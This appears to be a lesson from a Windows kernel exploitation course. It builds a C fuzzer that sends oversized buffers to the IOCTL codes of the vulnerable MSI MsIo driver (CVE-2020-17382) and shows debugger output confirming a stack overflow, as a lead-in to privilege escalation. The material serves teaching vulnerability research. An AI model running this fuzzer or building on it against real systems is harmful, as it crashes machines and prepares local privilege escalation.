Writing A Basic Fuzzer

In our fuzzing process, we aim to uncover vulnerabilities by subjecting a vulnerable driver to various inputs and observing its behaviour.

We will start writing a basic fuzzer in C and use this template to write an exploit for the vulnerable driver once we have found the vulnerable I/O Control Code(s).

Project

  1. Open Visual Studio and go to "File" -> "New" -> "Project" to create a new project.

  2. In the "Create a new project" window, select "Visual C++" from the left sidebar, then choose "Console App (.NET Core)" from the available project templates.

  3. Enter a name for your project (for example "MsiDriverExploit") and choose a location to save it. Click "Create" to proceed.

  4. In the project creation window, make sure ".cpp" is selected as the default file extension for C++ source files.

  5. Click "Create" to create the project.

Exploit.cpp

Now that the project is set up, follow these steps to add a new source file called "Exploit.cpp" and include the necessary code:

  1. In the Solution Explorer pane on the right-hand side, right-click on the project name and select "Add" -> "New Item".

  2. In the "Add New Item" window, select "C++ File (.cpp)" from the available templates.

  3. Enter "Exploit.cpp" as the file name and click "Add" to create the file.

  4. Open the "Exploit.cpp" file and add the following code at the top of the file:

#include <iostream>
#include <windows.h>
#include <psapi.h>

int main()
{
    // Your code goes here

    return 0;
}

Now you can start writing your code within the main() function in the "Exploit.cpp" file.

Define the Symbolic Link above the main() function:

#define MSIO_SYM_LINK "\\\\Device\\MsIo"

Add the following code to our main() function. The intention of this code snippet is to obtain a handle to the driver using the specified Symbolic Link and perform fuzzing on the driver if the handle acquisition is successful:

printf("CVE-2020-17382 Exploit: Win10 1607\n----------------------------------\n");

// get a handle to the driver using the Symbolic link
HANDLE hDevice = CreateFileA(MSIO_SYM_LINK, GENERIC_READ | GENERIC_WRITE, 0 , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

// if CreateFileA fails the handle will be -0x1
if (hDevice == (HANDLE)-0x1)
{
  printf("[+] Driver handle: 0x%p\n", hDevice);
  printf("[!] Unable to get a handle to the driver.\n");
  return 1;
}
else
{
  // we will start fuzzing here
} 

The code checks if the CreateFileA function call was successful by comparing the obtained handle (hDevice) to (HANDLE)-0x1. If the handle is equal to (HANDLE)-0x1, it means that the function call failed.

If the handle is valid (not equal to -0x1), it means the driver handle was successfully obtained, and the code proceeds to the fuzzing phase.

Fuzzing the Driver

Add the following code in the main() function after the comment // we will start fuzzing here.

This code initialises an array ioCodes with four IO Control Codes. It then enters a loop where it iterates over each code and performs fuzzing.

Within the fuzzing loop, it prints the code being fuzzed, and for each iteration, it sends a buffer of increasing sizes to the driver using DeviceIoControl function. The buffer is allocated and filled with 'A' characters, and then sent to the driver.

Finally, the memory is freed before moving to the next iteration.

// we will start fuzzing here
// these are the IO Control Codes we discovered
unsigned int ioCodes[4] = { 0x80102040, 0x80102044, 0x80102050, 0x80102054 };

for (int i = 0; i < 4; i++)
{
    printf("[+] Fuzzing: 0x%x\n", ioCodes[i]);
			
    for (int j = 250; j < 3000; j += 250)
    {
        printf("[+] Sending %d bytes...\n", j);
        printf("[!] Press enter when ready...");
        getchar();

	// allocate memory for the fuzzing buffer
	char* buffer = (char*)malloc(sizeof(char*) * j);
				
	// set the buffer to all As
	memset(buffer, 0x41, j);

	// send the buffer
	DWORD bytesRet;
	DeviceIoControl(hDevice, (DWORD)ioCodes[i], buffer, j, NULL, 0, &bytesRet, NULL);

	// free the memory allocation
	free(buffer);
    }
}

To set up the fuzzer in Visual Studio, follow these steps:

  1. Build the fuzzer using the Release x64 build configuration.

  2. Copy the generated fuzzing executable to the target machine.

  3. Ensure that the debugger is connected to the target for monitoring.

  4. Execute the fuzzing executable on the target machine.

  5. Press the Enter key to send the fuzzing buffer repeatedly until the debugger breaks and captures any potential issues or vulnerabilities.

After the first iteration you should find that the OS crashes with just 250 bytes when we send an IOCTL with code 0x80102040:

If we move back to our debugger we see that Windbg Preview has caught the Access Violation:

Access violation - code c0000005 (!!! second chance !!!)
MSIO64+0x16b9:
fffff806`e7d716b9 c3              ret
Using NET for debugging
Opened WinSock 2.0
Using IPv4 only.
Access violation - code c0000005 (!!! second chance !!!)
MSIO64+0x16b9:

If we enter the k command to view the call stack, we can clearly see that this has been corrupted by our buffer of 250 bytes:

0:1: kd> k L5
 # Child-SP          RetAddr               Call Site
00 ffff8180`ad187818 41414141`41414141     MSIO64+0x16b9
01 ffff8180`ad187820 41414141`41414141     0x41414141`41414141
02 ffff8180`ad187828 41414141`41414141     0x41414141`41414141
03 ffff8180`ad187830 41414141`41414141     0x41414141`41414141
04 ffff8180`ad187838 41414141`41414141     0x41414141`41414141

If we look at the address MSI064+0x16b9 in IDA (use the G key to bring up the "Jump to address" input), we can see that this is the ret instruction in the MsIoDispatch routine:

This looks like a classic stack-based buffer overflow. In the next section will look to exploit this vulnerability; turning a denial of service into privilege escalation.

Demo

Exercises

  1. Test the other three I/O Control Codes by removing them one by one in the ioCodes array.

Last updated